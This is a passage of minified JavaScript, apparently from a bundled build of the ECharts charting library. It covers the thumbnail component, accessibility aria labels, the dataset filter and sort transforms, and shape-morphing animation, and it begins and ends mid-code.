i=e.getModel(`itemStyle`),a=i.getItemStyle();a.fill??=t.get(`backgroundColor`)||Q.color.neutral00;var o=Kg(e,n).refContainer,s=Ug(Bg(e,!0),o),c=a.lineWidth||0,l=this._contentRect=xm(s.clone(),c/2,!0,!0),u=new Y;r.add(u),u.setClipPath(new Lu({shape:l.plain()}));var d=this._targetGroup=new Y;u.add(d);var f=s.plain();f.r=i.getShallow(`borderRadius`,!0),r.add(this._bgRect=new Lu({style:a,shape:f,silent:!1,cursor:`grab`}));var p=e.getModel(`windowStyle`),m=p.getShallow(`borderRadius`,!0);u.add(this._windowRect=new Lu({shape:{x:0,y:0,width:0,height:0,r:m},style:p.getItemStyle(),silent:!1,cursor:`grab`})),this._dealRenderContent(),this._dealUpdateWindow(),i2(e,this)},t.prototype.renderContent=function(e){this._bridgeRendered=e,this._isEnabled()&&(this._dealRenderContent(),this._dealUpdateWindow(),i2(this._model,this))},t.prototype._dealRenderContent=function(){var e=this._bridgeRendered;if(!(!e||e.renderVersion!==this._renderVersion)){var t=this._targetGroup,n=this._coordSys,r=this._contentRect;if(t.removeAll(),e){var i=e.group,a=i.getBoundingRect();t.add(i),this._bgRect.z2=e.z2Range.min-10,n.setBoundingRect(a.x,a.y,a.width,a.height);var o=Ug({left:`center`,top:`center`,aspect:a.width/a.height},r);n.setViewRect(o.x,o.y,o.width,o.height),i.attr(n.getTransformInfo().raw),this._windowRect.z2=e.z2Range.max+10,this._resetRoamController(e.roamType)}}},t.prototype.updateWindow=function(e){var t=this._bridgeRendered;t&&t.renderVersion===e.renderVersion&&(t.targetTrans=e.targetTrans),this._isEnabled()&&this._dealUpdateWindow()},t.prototype._dealUpdateWindow=function(){var e=this._bridgeRendered;if(!(!e||e.renderVersion!==this._renderVersion)){var t=qn([],e.targetTrans),n=Un([],this._coordSys.transform,t);this._transThisToTarget=qn([],n);var r=e.viewportRect;r=r?r.clone():new J(0,0,this._api.getWidth(),this._api.getHeight()),r.applyTransform(n);var i=this._windowRect,a=i.shape.r;i.setShape(I({r:a},r))}},t.prototype._resetRoamController=function(e){var t=this,n=this._api,r=this._roamController;if(r||=this._roamController=new VP(n.getZr()),!e||!this._isEnabled()){r.disable();return}r.enable(e,{api:n,zInfo:{component:this._model},triggerInfo:{roamTrigger:null,isInSelf:function(e,n,r){return t._contentRect.contain(n,r)}}}),r.off(`pan`).off(`zoom`).on(`pan`,z(this._onPan,this)).on(`zoom`,z(this._onZoom,this))},t.prototype._onPan=function(e){var t=this._transThisToTarget;if(!(!this._isEnabled()||!t)){var n=rn([],[e.oldX,e.oldY],t),r=rn([],[e.oldX-e.dx,e.oldY-e.dy],t);this._api.dispatchAction(r2(this._model.getTarget().baseMapProvider,{dx:r[0]-n[0],dy:r[1]-n[1]}))}},t.prototype._onZoom=function(e){var t=this._transThisToTarget;if(!(!this._isEnabled()||!t)){var n=rn([],[e.originX,e.originY],t);this._api.dispatchAction(r2(this._model.getTarget().baseMapProvider,{zoom:1/e.scale,originX:n[0],originY:n[1]}))}},t.prototype._isEnabled=function(){var e=this._model;return!(!e||!e.shouldShow()||!e.getTarget().baseMapProvider)},t.prototype._clear=function(){this.group.removeAll(),this._bridgeRendered=null,this._roamController&&this._roamController.disable()},t.prototype.remove=function(){this._clear()},t.prototype.dispose=function(){this._clear()},t.type=`thumbnail`,t}(Eb);function r2(e,t){var n={type:e.mainType===`series`?e.subType+`Roam`:e.mainType+`Roam`};return n[e.mainType+`Id`]=e.id,F(n,t),n}function i2(e,t){var n=jm(e);Nm(t.group,n.z,n.zlevel)}function a2(e){e.registerComponentModel(t2),e.registerComponentView(n2)}var o2={label:{enabled:!0},decal:{show:!1}},s2=oc(),c2={};function l2(e,t){var n=e.getModel(`aria`);if(!n.get(`enabled`))return;var r=P(o2);nt(r.label,e.getLocaleModel().get(`aria`),!1),nt(n.option,r,!1),i(),a();function i(){if(n.getModel(`decal`).get(`show`)){var t=G();e.eachSeries(function(e){if(!e.isColorBySeries()){var n=t.get(e.type);n||(n={},t.set(e.type,n)),s2(e).scope=n}}),e.eachRawSeries(function(t){if(e.isSeriesFiltered(t))return;if(V(t.enableAriaDecal)){t.enableAriaDecal();return}var n=t.getData();if(t.isColorBySeries()){var r=N_(t.ecModel,t.name,c2,e.getSeriesCount()),i=n.getVisual(`decal`);n.setVisual(`decal`,l(i,r))}else{var a=t.getRawData(),o={},s=s2(t).scope;n.each(function(e){var t=n.getRawIndex(e);o[t]=e});var c=a.count();a.each(function(e){var r=o[e],i=a.getName(e)||e+``,u=N_(t.ecModel,i,s,c),d=n.getItemVisual(r,`decal`);n.setItemVisual(r,`decal`,l(d,u))})}function l(e,t){var n=e?F(F({},t),e):t;return n.dirty=!0,n}})}}function a(){var r=t.getZr().dom;if(r){var i=e.getLocaleModel().get(`aria`),a=n.getModel(`label`);if(a.option=I(a.option,i),a.get(`enabled`)){if(r.setAttribute(`role`,`img`),a.get(`description`)){r.setAttribute(`aria-label`,a.get(`description`));return}var l=e.getSeriesCount(),u=a.get([`data`,`maxCount`])||10,d=a.get([`series`,`maxCount`])||10,f=Math.min(l,d),p;if(!(l<1)){var m=s();p=m?o(a.get([`general`,`withTitle`]),{title:m}):a.get([`general`,`withoutTitle`]);var h=[],g=l>1?a.get([`series`,`multiple`,`prefix`]):a.get([`series`,`single`,`prefix`]);p+=o(g,{seriesCount:l}),e.eachSeries(function(e,t){if(t<f){var n=void 0,r=e.get(`name`)?`withName`:`withoutName`;n=l>1?a.get([`series`,`multiple`,r]):a.get([`series`,`single`,r]),n=o(n,{seriesId:e.seriesIndex,seriesName:e.get(`name`),seriesType:c(e.subType)});var i=e.getData();if(i.count()>u){var s=a.get([`data`,`partialData`]);n+=o(s,{displayCnt:u})}else n+=a.get([`data`,`allData`]);for(var d=a.get([`data`,`separator`,`middle`]),p=a.get([`data`,`separator`,`end`]),m=a.get([`data`,`excludeDimensionId`]),g=[],_=0;_<i.count();_++)if(_<u){var v=i.getName(_),y=m?lt(i.getValues(_),function(e,t){return it(m,t)===-1}):i.getValues(_),b=a.get([`data`,v?`withName`:`withoutName`]);g.push(o(b,{name:v,value:y.join(d)}))}n+=g.join(d)+p,h.push(n)}});var _=a.getModel([`series`,`multiple`,`separator`]),v=_.get(`middle`),y=_.get(`end`);p+=h.join(v)+y,r.setAttribute(`aria-label`,p)}}}}function o(e,t){if(!H(e))return e;var n=e;return L(t,function(e,t){n=n.replace(RegExp(`\\{\\s*`+t+`\\s*\\}`,`g`),e)}),n}function s(){var t=e.get(`title`);return t&&t.length&&(t=t[0]),t&&t.text}function c(t){var n=e.getLocaleModel().get([`series`,`typeNames`]);return n[t]||n.chart}}function u2(e){if(!(!e||!e.aria)){var t=e.aria;t.show!=null&&(t.enabled=t.show),t.label=t.label||{},L([`description`,`general`,`series`,`data`],function(e){t[e]!=null&&(t.label[e]=t[e])})}}function d2(e){e.registerPreprocessor(u2),e.registerVisual(e.PRIORITY.VISUAL.ARIA,l2)}var f2={value:`eq`,"<":`lt`,"<=":`lte`,">":`gt`,">=":`gte`,"=":`eq`,"!=":`ne`,"<>":`ne`},p2=function(){function e(e){(this._condVal=H(e)?new RegExp(e):xt(e)?e:null)??Ps(``)}return e.prototype.evaluate=function(e){var t=typeof e;return H(t)?this._condVal.test(e):ht(t)?this._condVal.test(e+``):!1},e}(),m2=function(){function e(){}return e.prototype.evaluate=function(){return this.value},e}(),h2=function(){function e(){}return e.prototype.evaluate=function(){for(var e=this.children,t=0;t<e.length;t++)if(!e[t].evaluate())return!1;return!0},e}(),g2=function(){function e(){}return e.prototype.evaluate=function(){for(var e=this.children,t=0;t<e.length;t++)if(e[t].evaluate())return!0;return!1},e}(),_2=function(){function e(){}return e.prototype.evaluate=function(){return!this.child.evaluate()},e}(),v2=function(){function e(){}return e.prototype.evaluate=function(){for(var e=!!this.valueParser,t=this.getValue,n=t(this.valueGetterParam),r=e?this.valueParser(n):null,i=0;i<this.subCondList.length;i++)if(!this.subCondList[i].evaluate(e?r:n))return!1;return!0},e}();function y2(e,t){if(e===!0||e===!1){var n=new m2;return n.value=e,n}return C2(e)||Ps(``),e.and?b2(`and`,e,t):e.or?b2(`or`,e,t):e.not?x2(e,t):S2(e,t)}function b2(e,t,n){var r=t[e],i=``;B(r)||Ps(i),r.length||Ps(i);var a=e===`and`?new h2:new g2;return a.children=R(r,function(e){return y2(e,n)}),a.children.length||Ps(i),a}function x2(e,t){var n=e.not,r=``;C2(n)||Ps(r);var i=new _2;return i.child=y2(n,t),i.child||Ps(r),i}function S2(e,t){for(var n=``,r=t.prepareGetValue(e),i=[],a=dt(e),o=e.parser,s=o?fy(o):null,c=0;c<a.length;c++){var l=a[c];if(!(l===`parser`||t.valueGetterAttrMap.get(l))){var u=K(f2,l)?f2[l]:l,d=e[l],f=s?s(d):d,p=_y(u,f)||u===`reg`&&new p2(f);p||Ps(n),i.push(p)}}i.length||Ps(n);var m=new v2;return m.valueGetterParam=r,m.valueParser=s,m.getValue=t.getValue,m.subCondList=i,m}function C2(e){return U(e)&&!st(e)}var w2=function(){function e(e,t){this._cond=y2(e,t)}return e.prototype.evaluate=function(){return this._cond.evaluate()},e}();function T2(e,t){return new w2(e,t)}var E2={type:`echarts:filter`,transform:function(e){for(var t=e.upstream,n,r=T2(e.config,{valueGetterAttrMap:G({dimension:!0}),prepareGetValue:function(e){var n=``,r=e.dimension;K(e,`dimension`)||Ps(n);var i=t.getDimensionInfo(r);return i||Ps(n),{dimIdx:i.index}},getValue:function(e){return t.retrieveValueFromItem(n,e.dimIdx)}}),i=[],a=0,o=t.count();a<o;a++)n=t.getRawDataItem(a),r.evaluate()&&i.push(n);return{data:i}}},D2={type:`echarts:sort`,transform:function(e){var t=e.upstream,n=e.config,r=``,i=Rs(n);i.length||Ps(r);var a=[];L(i,function(e){var n=e.dimension,i=e.order,o=e.parser,s=e.incomparable;n??Ps(r),i!==`asc`&&i!==`desc`&&Ps(r),s&&s!==`min`&&s!==`max`&&Ps(``),i!==`asc`&&i!==`desc`&&Ps(``);var c=t.getDimensionInfo(n);c||Ps(r);var l=o?fy(o):null;o&&!l&&Ps(r),a.push({dimIdx:c.index,parser:l,comparator:new hy(i,s)})});var o=t.sourceFormat;o!==`arrayRows`&&o!==`objectRows`&&Ps(r);for(var s=[],c=0,l=t.count();c<l;c++)s.push(t.getRawDataItem(c));return s.sort(function(e,n){for(var r=0;r<a.length;r++){var i=a[r],o=t.retrieveValueFromItem(e,i.dimIdx),s=t.retrieveValueFromItem(n,i.dimIdx);i.parser&&(o=i.parser(o),s=i.parser(s));var c=i.comparator.evaluate(o,s);if(c!==0)return c}return 0}),{data:s}}};function O2(e){e.registerTransform(E2),e.registerTransform(D2)}var k2=function(e){N(t,e);function t(){var t=e!==null&&e.apply(this,arguments)||this;return t.type=`dataset`,t}return t.prototype.init=function(t,n,r){e.prototype.init.call(this,t,n,r),this._sourceManager=new Vy(this),Hy(this)},t.prototype.mergeOption=function(t,n){e.prototype.mergeOption.call(this,t,n),Hy(this)},t.prototype.optionUpdated=function(){this._sourceManager.dirty()},t.prototype.getSourceManager=function(){return this._sourceManager},t.type=`dataset`,t.defaultOption={seriesLayoutBy:__},t}(e_),A2=function(e){N(t,e);function t(){var t=e!==null&&e.apply(this,arguments)||this;return t.type=`dataset`,t}return t.type=`dataset`,t}(Eb);function j2(e){e.registerComponentModel(k2),e.registerComponentView(A2)}var M2=Ql.CMD;function N2(e,t){return Math.abs(e-t)<1e-5}function P2(e){var t=e.data,n=e.len(),r=[],i,a=0,o=0,s=0,c=0;function l(e,t){i&&i.length>2&&r.push(i),i=[e,t]}function u(e,t,n,r){N2(e,n)&&N2(t,r)||i.push(e,t,n,r,n,r)}function d(e,t,n,r,a,o){var s=Math.abs(t-e),c=Math.tan(s/4)*4/3,l=t<e?-1:1,u=Math.cos(e),d=Math.sin(e),f=Math.cos(t),p=Math.sin(t),m=u*a+n,h=d*o+r,g=f*a+n,_=p*o+r,v=a*c*l,y=o*c*l;i.push(m-v*d,h+y*u,g+v*p,_-y*f,g,_)}for(var f,p,m,h,g=0;g<n;){var _=t[g++],v=g===1;switch(v&&(a=t[g],o=t[g+1],s=a,c=o,(_===M2.L||_===M2.C||_===M2.Q)&&(i=[s,c])),_){case M2.M:a=s=t[g++],o=c=t[g++],l(s,c);break;case M2.L:f=t[g++],p=t[g++],u(a,o,f,p),a=f,o=p;break;case M2.C:i.push(t[g++],t[g++],t[g++],t[g++],a=t[g++],o=t[g++]);break;case M2.Q:f=t[g++],p=t[g++],m=t[g++],h=t[g++],i.push(a+2/3*(f-a),o+2/3*(p-o),m+2/3*(f-m),h+2/3*(p-h),m,h),a=m,o=h;break;case M2.A:var y=t[g++],b=t[g++],x=t[g++],S=t[g++],C=t[g++],w=t[g++]+C;g+=1;var T=!t[g++];f=Math.cos(C)*x+y,p=Math.sin(C)*S+b,v?(s=f,c=p,l(s,c)):u(a,o,f,p),a=Math.cos(w)*x+y,o=Math.sin(w)*S+b;for(var E=(T?-1:1)*Math.PI/2,D=C;T?D>w:D<w;D+=E){var O=T?Math.max(D+E,w):Math.min(D+E,w);d(D,O,y,b,x,S)}break;case M2.R:s=a=t[g++],c=o=t[g++],f=s+t[g++],p=c+t[g++],l(f,c),u(f,c,f,p),u(f,p,s,p),u(s,p,s,c),u(s,c,f,c);break;case M2.Z:i&&u(a,o,s,c),a=s,o=c;break}}return i&&i.length>2&&r.push(i),r}function F2(e,t,n,r,i,a,o,s,c,l){if(N2(e,n)&&N2(t,r)&&N2(i,o)&&N2(a,s)){c.push(o,s);return}var u=2/l,d=u*u,f=o-e,p=s-t,m=Math.sqrt(f*f+p*p);f/=m,p/=m;var h=n-e,g=r-t,_=i-o,v=a-s,y=h*h+g*g,b=_*_+v*v;if(y<d&&b<d){c.push(o,s);return}var x=f*h+p*g,S=-f*_-p*v,C=y-x*x,w=b-S*S;if(C<d&&x>=0&&w<d&&S>=0){c.push(o,s);return}var T=[],E=[];ei(e,n,i,o,.5,T),ei(t,r,a,s,.5,E),F2(T[0],E[0],T[1],E[1],T[2],E[2],T[3],E[3],c,l),F2(T[4],E[4],T[5],E[5],T[6],E[6],T[7],E[7],c,l)}function I2(e,t){var n=P2(e),r=[];t||=1;for(var i=0;i<n.length;i++){var a=n[i],o=[],s=a[0],c=a[1];o.push(s,c);for(var l=2;l<a.length;){var u=a[l++],d=a[l++],f=a[l++],p=a[l++],m=a[l++],h=a[l++];F2(s,c,u,d,f,p,m,h,o,t),s=m,c=h}r.push(o)}return r}function L2(e,t,n){var r=e[t],i=e[1-t],a=Math.abs(r/i),o=Math.ceil(Math.sqrt(a*n)),s=Math.floor(n/o);s===0&&(s=1,o=n);for(var c=[],l=0;l<o;l++)c.push(s);var u=n-o*s;if(u>0)for(var l=0;l<u;l++)c[l%o]+=1;return c}function R2(e,t,n){for(var r=e.r0,i=e.r,a=e.startAngle,o=e.endAngle,s=Math.abs(o-a),c=s*i,l=i-r,u=c>Math.abs(l),d=L2([c,l],+!u,t),f=(u?s:l)/d.length,p=0;p<d.length;p++)for(var m=(u?l:s)/d[p],h=0;h<d[p];h++){var g={};u?(g.startAngle=a+f*p,g.endAngle=a+f*(p+1),g.r0=r+m*h,g.r=r+m*(h+1)):(g.startAngle=a+m*h,g.endAngle=a+m*(h+1),g.r0=r+f*p,g.r=r+f*(p+1)),g.clockwise=e.clockwise,g.cx=e.cx,g.cy=e.cy,n.push(g)}}function z2(e,t,n){for(var r=e.width,i=e.height,a=r>i,o=L2([r,i],+!a,t),s=a?`width`:`height`,c=a?`height`:`width`,l=a?`x`:`y`,u=a?`y`:`x`,d=e[s]/o.length,f=0;f<o.length;f++)for(var p=e[c]/o[f],m=0;m<o[f];m++){var h={};h[l]=f*d,h[u]=m*p,h[s]=d,h[c]=p,h.x+=e.x,h.y+=e.y,n.push(h)}}function B2(e,t,n,r){return e*r-n*t}function V2(e,t,n,r,i,a,o,s){var c=n-e,l=r-t,u=o-i,d=s-a,f=B2(u,d,c,l);if(Math.abs(f)<1e-6)return null;var p=B2(e-i,t-a,u,d)/f;return p<0||p>1?null:new q(p*c+e,p*l+t)}function H2(e,t,n){var r=new q;q.sub(r,n,t),r.normalize();var i=new q;return q.sub(i,e,t),i.dot(r)}function U2(e,t){var n=e[e.length-1];n&&n[0]===t[0]&&n[1]===t[1]||e.push(t)}function W2(e,t,n){for(var r=e.length,i=[],a=0;a<r;a++){var o=e[a],s=e[(a+1)%r],c=V2(o[0],o[1],s[0],s[1],t.x,t.y,n.x,n.y);c&&i.push({projPt:H2(c,t,n),pt:c,idx:a})}if(i.length<2)return[{points:e},{points:e}];i.sort(function(e,t){return e.projPt-t.projPt});var l=i[0],u=i[i.length-1];if(u.idx<l.idx){var d=l;l=u,u=d}for(var f=[l.pt.x,l.pt.y],p=[u.pt.x,u.pt.y],m=[f],h=[p],a=l.idx+1;a<=u.idx;a++)U2(m,e[a].slice());U2(m,p),U2(m,f);for(var a=u.idx+1;a<=l.idx+r;a++)U2(h,e[a%r].slice());return U2(h,f),U2(h,p),[{points:m},{points:h}]}function G2(e){var t=e.points,n=[],r=[];Dl(t,n,r);var i=new J(n[0],n[1],r[0]-n[0],r[1]-n[1]),a=i.width,o=i.height,s=i.x,c=i.y,l=new q,u=new q;return a>o?(l.x=u.x=s+a/2,l.y=c,u.y=c+o):(l.y=u.y=c+o/2,l.x=s,u.x=s+a),W2(t,l,u)}function K2(e,t,n,r){if(n===1)r.push(t);else{var i=Math.floor(n/2),a=e(t);K2(e,a[0],i,r),K2(e,a[1],n-i,r)}return r}function q2(e,t){for(var n=[],r=0;r<t;r++)n.push(Pf(e));return n}function J2(e,t){t.setStyle(e.style),t.z=e.z,t.z2=e.z2,t.zlevel=e.zlevel}function Y2(e){for(var t=[],n=0;n<e.length;)t.push([e[n++],e[n++]]);return t}function X2(e,t){var n=[],r=e.shape,i;switch(e.type){case`rect`:z2(r,t,n),i=Lu;break;case`sector`:R2(r,t,n),i=tp;break;case`circle`:R2({r0:0,r:r.r,startAngle:0,endAngle:Math.PI*2,cx:r.cx,cy:r.cy},t,n),i=tp;break;default:var a=e.getComputedTransform(),o=a?Math.sqrt(Math.max(a[0]*a[0]+a[1]*a[1],a[2]*a[2]+a[3]*a[3])):1,s=R(I2(e.getUpdatedPathProxy(),o),function(e){return Y2(e)}),c=s.length;if(c===0)K2(G2,{points:s[0]},t,n);else if(c===t)for(var l=0;l<c;l++)n.push({points:s[l]});else{var u=0,d=R(s,function(e){var t=[],n=[];Dl(e,t,n);var r=(n[1]-t[1])*(n[0]-t[0]);return u+=r,{poly:e,area:r}});d.sort(function(e,t){return t.area-e.area});for(var f=t,l=0;l<c;l++){var p=d[l];if(f<=0)break;var m=l===c-1?f:Math.ceil(p.area/u*t);m<0||(K2(G2,{points:p.poly},m,n),f-=m)}}i=sp;break}if(!i)return q2(e,t);for(var h=[],l=0;l<n.length;l++){var g=new i;g.setShape(n[l]),J2(e,g),h.push(g)}return h}function Z2(e,t){var n=e.length,r=t.length;if(n===r)return[e,t];for(var i=[],a=[],o=n<r?e:t,s=Math.min(n,r),c=Math.abs(r-n)/6,l=(s-2)/6,u=Math.ceil(c/l)+1,d=[o[0],o[1]],f=c,p=2;p<s;){var m=o[p-2],h=o[p-1],g=o[p++],_=o[p++],v=o[p++],y=o[p++],b=o[p++],x=o[p++];if(f<=0){d.push(g,_,v,y,b,x);continue}for(var S=Math.min(f,u-1)+1,C=1;C<=S;C++){var w=C/S;ei(m,g,v,b,w,i),ei(h,_,y,x,w,a),m=i[3],h=a[3],d.push(i[1],a[1],i[2],a[2],m,h),g=i[5],_=a[5],v=i[6],y=a[6]}f-=S-1}return o===e?[d,t]:[e,d]}function Q2(e,t){for(var n=e.length,r=e[n-2],i=e[n-1],a=[],o=0;o<t.length;)a[o++]=r,a[o++]=i;return a}function $2(e,t){for(var n,r,i,a=[],o=[],s=0;s<Math.max(e.length,t.length);s++){var c=e[s],l=t[s],u=void 0,d=void 0;c?l?(n=Z2(c,l),u=n[0],d=n[1],r=u,i=d):(d=Q2(i||c,c),u=c):(u=Q2(r||l,l),d=l),a.push(u),o.push(d)}return[a,o]}function e4(e){for(var t=0,n=0,r=0,i=e.length,a=0,o=i-2;a<i;o=a,a+=2){var s=e[o],c=e[o+1],l=e[a],u=e[a+1],d=s*u-l*c;t+=d,n+=(s+l)*d,r+=(c+u)*d}return t===0?[e[0]||0,e[1]||0]:[n/t/3,r/t/3,t]}function t4(e,t,n,r){for(var i=(e.length-2)/6,a=1/0,o=0,s=e.length,c=s-2,l=0;l<i;l++){for(var u=l*6,d=0,f=0;f<s;f+=2){var p=f===0?u:(u+f-2)%c+2,m=e[p]-n[0],h=e[p+1]-n[1],g=t[f]-r[0],_=t[f+1]-r[1],v=g-m,y=_-h;d+=v*v+y*y}d<a&&(a=d,o=l)}return o}function n4(e){for(var t=[],n=e.length,r=0;r<n;r+=2)t[r]=e[n-r-2],t[r+1]=e[n-r-1];return t}function r4(e,t,n,r){for(var i=[],a,o=0;o<e.length;o++){var s=e[o],c=t[o],l=e4(s),u=e4(c);a??=l[2]<0!=u[2]<0;var d=[],f=[],p=0,m=1/0,h=[],g=s.length;a&&(s=n4(s));for(var _=t4(s,c,l,u)*6,v=g-2,y=0;y<v;y+=2){var b=(_+y)%v+2;d[y+2]=s[b]-l[0],d[y+3]=s[b+1]-l[1]}if(d[0]=s[_]-l[0],d[1]=s[_+1]-l[1],n>0)for(var x=r/n,S=-r/2;S<=r/2;S+=x){for(var C=Math.sin(S),w=Math.cos(S),T=0,y=0;y<s.length;y+=2){var E=d[y],D=d[y+1],O=c[y]-u[0],k=c[y+1]-u[1],A=O*w-k*C,j=O*C+k*w;h[y]=A,h[y+1]=j;var ee=A-E,te=j-D;T+=ee*ee+te*te}if(T<m){m=T,p=S;for(var M=0;M<h.length;M++)f[M]=h[M]}}else for(var ne=0;ne<g;ne+=2)f[ne]=c[ne]-u[0],f[ne+1]=c[ne+1]-u[1];i.push({from:d,to:f,fromCp:l,toCp:u,rotation:-p})}return i}function i4(e){return e.__isCombineMorphing}var a4=`__mOriginal_`;function o4(e,t,n){var r=a4+t,i=e[r]||e[t];e[r]||(e[r]=e[t]);var a=n.replace,o=n.after,s=n.before;e[t]=function(){var e=arguments,t;return s&&s.apply(this,e),t=a?a.apply(this,e):i.apply(this,e),o&&o.apply(this,e),t}}function s4(e,t){var n=a4+t;e[n]&&(e[t]=e[n],e[n]=null)}function c4(e,t){for(var n=0;n<e.length;n++)for(var r=e[n],i=0;i<r.length;){var a=r[i],o=r[i+1];r[i++]=t[0]*a+t[2]*o+t[4],r[i++]=t[1]*a+t[3]*o+t[5]}}function l4(e,t){var n=e.getUpdatedPathProxy(),r=t.getUpdatedPathProxy(),i=$2(P2(n),P2(r)),a=i[0],o=i[1],s=e.getComputedTransform(),c=t.getComputedTransform();function l(){this.transform=null}s&&c4(a,s),c&&c4(o,c),o4(t,`updateTransform`,{replace:l}),t.transform=null;var u=r4(a,o,10,Math.PI),d=[];o4(t,`buildPath`,{replace:function(e){for(var n=t.__morphT,r=1-n,i=[],a=0;a<u.length;a++){var o=u[a],s=o.from,c=o.to,l=o.rotation*n,f=o.fromCp,p=o.toCp,m=Math.sin(l),h=Math.cos(l);nn(i,f,p,n);for(var g=0;g<s.length;g+=2){var _=s[g],v=s[g+1],y=c[g],b=c[g+1],x=_*r+y*n,S=v*r+b*n;d[g]=x*h-S*m+i[0],d[g+1]=x*m+S*h+i[1]}var C=d[0],w=d[1];e.moveTo(C,w);for(var g=2;g<s.length;){var y=d[g++],b=d[g++],T=d[g++],E=d[g++],D=d[g++],O=d[g++];C===y&&w===b&&T===D&&E===O?e.lineTo(D,O):e.bezierCurveTo(y,b,T,E,D,O),C=D,w=O}}}})}function u4(e,t,n){if(!e||!t)return t;var r=n.done,i=n.during;l4(e,t),t.__morphT=0;function a(){s4(t,`buildPath`),s4(t,`updateTransform`),t.__morphT=-1,t.createPathProxy(),t.dirtyShape()}return t.animateTo({__morphT:1},I({during:function(e){t.dirtyShape(),i&&i(e)},done:function(){a(),r&&r()}},n)),t}function d4(e,t,n,r,i,a){var o=16;e=i===n?0:Math.round(32767*(e-n)/(i-n)),t=a===r?0:Math.round(32767*(t-r)/(a-r));for(var s=0,c,l=(1<<o)/2;l>0;l/=2){var u=0,d=0;(e&l)>0&&(u=1),(t&l)>0&&(d=1),s+=l*l*(3*u^d),d===0&&(u===1&&(e=l-1-e,t=l-1-t),c=e,e=t,t=c)}return s}function f4(e){var t=1/0,n=1/0,r=-1/0,i=-1/0;return R(R(e,function(e){var a=e.getBoundingRect(),o=e.getComputedTransform(),s=a.x+a.width/2+(o?o[4]:0),c=a.y+a.height/2+(o?o[5]:0);return t=Math.min(s,t),n=Math.min(c,n),r=Math.max(s,r),i=Math.max(c,i),[s,c]}),function(a,o){return{cp:a,z:d4(a[0],a[1],t,n,r,i),path:e[o]}}).sort(function(e,t){return e.z-t.z}).map(function(e){return e.path})}function p4(e){return X2(e.path,e.count)}function m4(){return{fromIndividuals:[],toIndividuals:[],count:0}}function h4(e,t,n){var r=[];function i(e){for(var t=0;t<e.length;t++){var n=e[t];i4(n)?i(n.childrenRef()):n instanceof Cu&&r.push(n)}}i(e);var a=r.length;if(!a)return m4();var o=(n.dividePath||p4)({path:t,count:a});if(o.length!==a)return console.error(`Invalid morphing: unmatched splitted path`),m4();r=f4(r),o=f4(o);for(var s=n.done,c=n.during,l=n.individualDelay,u=new fo,d=0;d<a;d++){var f=r[d],p=o[d];p.parent=t,p.copyTransform(u),l||l4(f,p)}t.__isCombineMorphing=!0,t.childrenRef=function(){return o};function m(e){for(var t=0;t<o.length;t++)o[t].addSelfToZr(e)}o4(t,`addSelfToZr`,{after:function(e){m(e)}}),o4(t,`removeSelfFromZr`,{after:function(e){for(var t=0;t<o.length;t++)o[t].removeSelfFromZr(e)}});function h(){t.__isCombineMorphing=!1,t.__morphT=-1,t.childrenRef=null,s4(t,`addSelfToZr`),s4(t,`removeSelfFromZr`)}var g=o.length;if(l)for(var _=g,v=function(){_--,_===0&&(h(),s&&s())},d=0;d<g;d++){var y=l?I({delay:(n.delay||0)+l(d,g,r[d],o[d]),done:v},n):n;u4(r[d],o[d],y)}else t.__morphT=0,t.animateTo({__morphT:1},I({during:function(e){for(var n=0;n<g;n++){var r=o[n];r.__morphT=t.__morphT,r.dirtyShape()}c&&c(e)},done:function(){h();for(var t=0;t<e.length;t++)s4(e[t],`updateTransform`);s&&s()}},n));return t.__zr&&m(t.__zr),{fromIndividuals:r,toIndividuals:o,count:g}}function g4(e,t,n){var r=t.length,i=[],a=n.dividePath||p4;function o(e){for(var t=0;t<e.length;t++){var n=e[t];i4(n)?o(n.childrenRef()):n instanceof Cu&&i.push(n)}}if(i4(e)){o(e.childrenRef());var s=i.length;if(s<r)for(var c=0,l=s;l<r;l++)i.push(Pf(i[c++%s]));i.length=r}else{i=a({path:e,count:r});for(var u=e.getComputedTransform(),l=0;l<i.length;l++)i[l].setLocalTransform(u);if(i.length!==r)return console.error(`Invalid morphing: unmatched splitted path`),m4()}i=f4(i),t=f4(t);for(var d=n.individualDelay,l=0;l<r;l++){var f=d?I({delay:(n.delay||0)+d(l,r,i[l],t[l])},n):n;u4(i[l],t[l],f)}return{fromIndividuals:i,toIndividuals:t,count:t.length}}function _4(e){return B(e[0])}function v4(e,t){for(var n=[],r=e.length,i=0;i<r;i++)n.push({one:e[i],many:[]});for(var i=0;i<t.length;i++){var a=t[i].length,o=void 0;for(o=0;o<a;o++)n[o%r].many.push(t[i][o])}for(var s=0,i=r-1;i>=0;i--)if(!n[i].many.length){var c=n[s].many;if(c.length<=1)if(s)s=0;else return n;var a=c.length,l=Math.ceil(a/2);n[i].many=c.slice(l,a),n[s].many=c.slice(0,l),s++}return n}var y4={clone:function(e){for(var t=[],n=1-(1-e.path.style.opacity)**(1/e.count),r=0;r<e.count;r++){var i=Pf(e.path);i.setStyle(`opacity`,n),t.push(i)}return t},split:null};function b4(e,t,n,r,i,a){if(!e.length||!t.length)return;var o=Fp(`update`,r,i);if(!(o&&o.duration>0))return;var s=r.getModel(`universalTransition`).get(`delay`),c=Object.assign({setToFinal:!0},o),l,u;_4(e)&&(l=e,u=t),_4(t)&&(l=t,u=e);function d(e,t,r,i,o){var l=e.many,u=e.one;if(l.length===1&&!o){var f=t?l[0]:u,p=t?u:l[0];if(i4(f))d({many:[f],one:p},!0,r,i,!0);else{var m=s?I({delay:s(r,i)},c):c;u4(f,p,m),a(f,p,f,p,m)}}else for(var h=I({dividePath:y4[n],individualDelay:s&&function(e,t,n,a){return s(e+r,i)}},c),g=t?h4(l,u,h):g4(u,l,h),_=g.fromIndividuals,v=g.toIndividuals,y=_.length,b=0;b<y;b++){var m=s?I({delay:s(b,y)},c):c;a(_[b],v[b],t?l[b]:e.one,t?e.one:l[b],m)}}for(var f=l?l===e:e.length>t.length,p=l?v4(u,l):v4(f?t:e,[f?e:t]),m=0,h=0;h<p.length;h++)m+=p[h].many.length;for(var g=0,h=0;h<p.length;h++)d(p[h],f,g,m),g+=p[h].many.length}function x4(e){if(!e)return[];if(B(e)){for(var t=[],n=0;n<e.length;n++)t.push(x4(e[n]));return t}var r=[];return e.traverse(function(e){e instanceof Cu&&!e.disableMorphing&&!e.invisible&&!e.ignore&&r.push(e)}),r}var S4=1e4,C4=0,w4=1,T4=2,E4=oc();function D4(e,t){for(var n=e.dimensions,r=0;r<n.length;r++){var i=e.getDimensionInfo(n[r]);if(i&&i.otherDims[t]===0)return n[r]}}function O4(e,t,n){var r=e.getDimensionInfo(n),i=r&&r.ordinalMeta;if(r){var a=e.get(r.name,t);return 